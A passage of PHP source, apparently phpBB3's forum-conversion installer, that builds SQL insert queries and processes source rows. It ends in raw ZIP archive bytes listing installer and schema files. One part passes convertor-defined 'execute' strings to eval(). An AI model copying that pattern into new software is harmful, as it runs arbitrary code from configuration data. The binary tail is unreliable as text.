$value_1; $sql_data['source_fields'][$key][$valkey] = (!empty($m[6])) ? $m[6] : $m[2]; } } } else if ($key == 'where' || $key == 'group_by' || $key == 'order_by' || $key == 'having') { if (@preg_match_all('/([a-z0-9_]+)\.([a-z0-9_]+)/i', $val, $m)) { foreach ($m[1] as $value) { $sql_data['source_tables'][$value] = (empty($convert->src_table_prefix)) ? $value : $convert->src_table_prefix . $value . ' ' . $value; } } } } // Add the aliases to the list of tables foreach ($aliases as $alias => $table) { $sql_data['source_tables'][$alias] = $convert->src_table_prefix . $table . ' ' . $alias; } // 'left_join' => 'forums LEFT JOIN forum_prune ON forums.forum_id = forum_prune.forum_id', if (!empty($schema['left_join'])) { if (!is_array($schema['left_join'])) { $schema['left_join'] = array($schema['left_join']); } foreach ($schema['left_join'] as $left_join) { // This won't handle concatened LEFT JOINs if (!preg_match('/([a-z0-9_]+) LEFT JOIN ([a-z0-9_]+) A?S? ?([a-z0-9_]*?) ?(ON|USING)(.*)/i', $left_join, $m)) { $this->p_master->error(sprintf($user->lang['NOT_UNDERSTAND'], 'LEFT JOIN', $left_join, $current_table, $schema['target']), __LINE__, __FILE__); } if (!empty($aliases[$m[2]])) { if (!empty($m[3])) { $this->p_master->error(sprintf($user->lang['NAMING_CONFLICT'], $m[2], $m[3], $schema['left_join']), __LINE__, __FILE__); } $m[2] = $aliases[$m[2]]; $m[3] = $m[2]; } $right_table = $convert->src_table_prefix . $m[2]; if (!empty($m[3])) { unset($sql_data['source_tables'][$m[3]]); } else if ($m[2] != $m[1]) { unset($sql_data['source_tables'][$m[2]]); } if (strpos($sql_data['source_tables'][$m[1]], "\nLEFT JOIN") !== false) { $sql_data['source_tables'][$m[1]] = '(' . $sql_data['source_tables'][$m[1]] . ")\nLEFT JOIN $right_table"; } else { $sql_data['source_tables'][$m[1]] .= "\nLEFT JOIN $right_table"; } if (!empty($m[3])) { unset($sql_data['source_tables'][$m[3]]); $sql_data['source_tables'][$m[1]] .= ' AS ' . $m[3]; } else if (!empty($convert->src_table_prefix)) { $sql_data['source_tables'][$m[1]] .= ' AS ' . $m[2]; } $sql_data['source_tables'][$m[1]] .= ' ' . $m[4] . $m[5]; } } // Remove ", " from the end of the insert query $insert_query = substr($insert_query, 0, -2) . ') VALUES '; return $insert_query; } /** * Function for processing the currently handled row */ function process_row(&$schema, &$sql_data, &$insert_values) { global $template, $user, $phpbb_root_path, $phpEx, $db, $lang, $config, $cache; global $convert, $convert_row; $sql_flag = false; foreach ($schema as $key => $fields) { // We are only interested in the lines with: // array('comment', 'attachments_desc.comment', 'htmlspecialchars'), if (is_int($key)) { if (!is_array($fields[1])) { $fields[1] = array($fields[1]); } $firstkey_set = false; $firstkey = 0; foreach ($fields[1] as $inner_key => $inner_value) { if (!$firstkey_set) { $firstkey = $inner_key; $firstkey_set = true; } $src_field = isset($sql_data['source_fields'][$key][$inner_key]) ? $sql_data['source_fields'][$key][$inner_key] : ''; if (!empty($src_field)) { $fields[1][$inner_key] = $convert->row[$src_field]; } } if (!empty($fields[0])) { // We have a target field, if we haven't set $sql_flag yet it will be set to TRUE. // If a function has already set it to FALSE it won't change it. if ($sql_flag === false) { $sql_flag = true; } // No function assigned? if (empty($fields[2])) { $value = $fields[1][$firstkey]; } else if (is_array($fields[2])) { // Execute complex function/eval/typecast $value = $fields[1]; foreach ($fields[2] as $type => $execution) { if (strpos($type, 'typecast') === 0) { if (!is_array($value)) { $value = array($value); } $value = $value[0]; settype($value, $execution); } else if (strpos($type, 'function') === 0) { if (!is_array($value)) { $value = array($value); } $value = call_user_func_array($execution, $value); } else if (strpos($type, 'execute') === 0) { if (!is_array($value)) { $value = array($value); } $execution = str_replace('{RESULT}', '$value', $execution); $execution = str_replace('{VALUE}', '$value', $execution); eval($execution); } } } else { $value = call_user_func_array($fields[2], $fields[1]); } if (is_null($value)) { $value = ''; } $insert_values[] = $db->_sql_validate_value($value); } else if (!empty($fields[2])) { if (is_array($fields[2])) { // Execute complex function/eval/typecast $value = ''; foreach ($fields[2] as $type => $execution) { if (strpos($type, 'typecast') === 0) { $value = settype($value, $execution); } else if (strpos($type, 'function') === 0) { if (!is_array($value)) { $value = array($value); } $value = call_user_func_array($execution, $value); } else if (strpos($type, 'execute') === 0) { if (!is_array($value)) { $value = array($value); } $execution = str_replace('{RESULT}', '$value', $execution); $execution = str_replace('{VALUE}', '$value', $execution); eval($execution); } } } else { call_user_func_array($fields[2], $fields[1]); } } } } return $sql_flag; } /** * Own meta refresh function to be able to change the global time used */ function meta_refresh($url) { global $convert, $template; if ($convert->options['refresh']) { // Because we should not rely on correct settings, we simply use the relative path here directly. $template->assign_vars(array( 'S_REFRESH' => true, 'META' => '') ); } } /** * The information below will be used to build the input fields presented to the user */ var $convert_options = array( 'legend1' => 'SPECIFY_OPTIONS', 'src_dbms' => array('lang' => 'DBMS', 'type' => 'select', 'options' => 'dbms_select(\'{VALUE}\', true)', 'explain' => false), 'src_dbhost' => array('lang' => 'DB_HOST', 'type' => 'text:25:100', 'explain' => true), 'src_dbport' => array('lang' => 'DB_PORT', 'type' => 'text:25:100', 'explain' => true), 'src_dbname' => array('lang' => 'DB_NAME', 'type' => 'text:25:100', 'explain' => false), 'src_dbuser' => array('lang' => 'DB_USERNAME', 'type' => 'text:25:100', 'explain' => false), 'src_dbpasswd' => array('lang' => 'DB_PASSWORD', 'type' => 'password:25:100', 'explain' => false), 'src_table_prefix' => array('lang' => 'TABLE_PREFIX', 'type' => 'text:25:100', 'explain' => false), //'src_url' => array('lang' => 'FORUM_ADDRESS', 'type' => 'text:50:100', 'explain' => true), 'forum_path' => array('lang' => 'FORUM_PATH', 'type' => 'text:25:100', 'explain' => true), 'refresh' => array('lang' => 'REFRESH_PAGE', 'type' => 'radio:yes_no', 'explain' => true), ); } ?>PK‰† [n’Nˆ¦ˆ¦ index2.phpnuW+A„¶PK‰† [É56ðj j ¦schemas/sqlite_schema.sqlnuW+A„¶PK‰† [.ç\©ž©žuGschemas/mysql_41_schema.sqlnuW+A„¶PK‰† [6B<ÂQÌQÌiæschemas/firebird_schema.sqlnuW+A„¶PK‰† [%-ć‡Â³schemas/oracle_schema.sqlnuW+A„¶PK‰† [9iHV¼¼Õuschemas/mysql_40_schema.sqlnuW+A„¶PK‰† [‘@ºÂÂÜschemas/postgres_schema.sqlnuW+A„¶PK‰† [rcP~A~A¦Éschemas/schema_data.sqlnuW+A„¶PK‰† [RE@Æ*Á*Ák schemas/mssql_schema.sqlnuW+A„¶PK‰† [Õžáò©©ÝÌ schemas/index.htmnuW+A„¶PK‰† [À)‡MÃÃÇÍ install_main.phpnuW+A„¶PK‰† [,¯Ÿú ÊÓ phpinfo.phpnuW+A„¶PK‰† [Ç×â¦ðžðžÔ convertors/convert_phpbb20.phpnuW+A„¶PK‰† [†¶ tÈÈÈÈ Xs convertors/functions_phpbb20.phpnuW+A„¶PK‰† [l%òUUp< install_install.phpnuW+A„¶PK‰† [µ×‹ÙnnV database_update.phpnuW+A„¶PK‰† [¶½&N&N ¹V index.phpnuW+A„¶PK‰† []ýC¥dödö¥ install_convert.phpnuW+A„¶PK¿›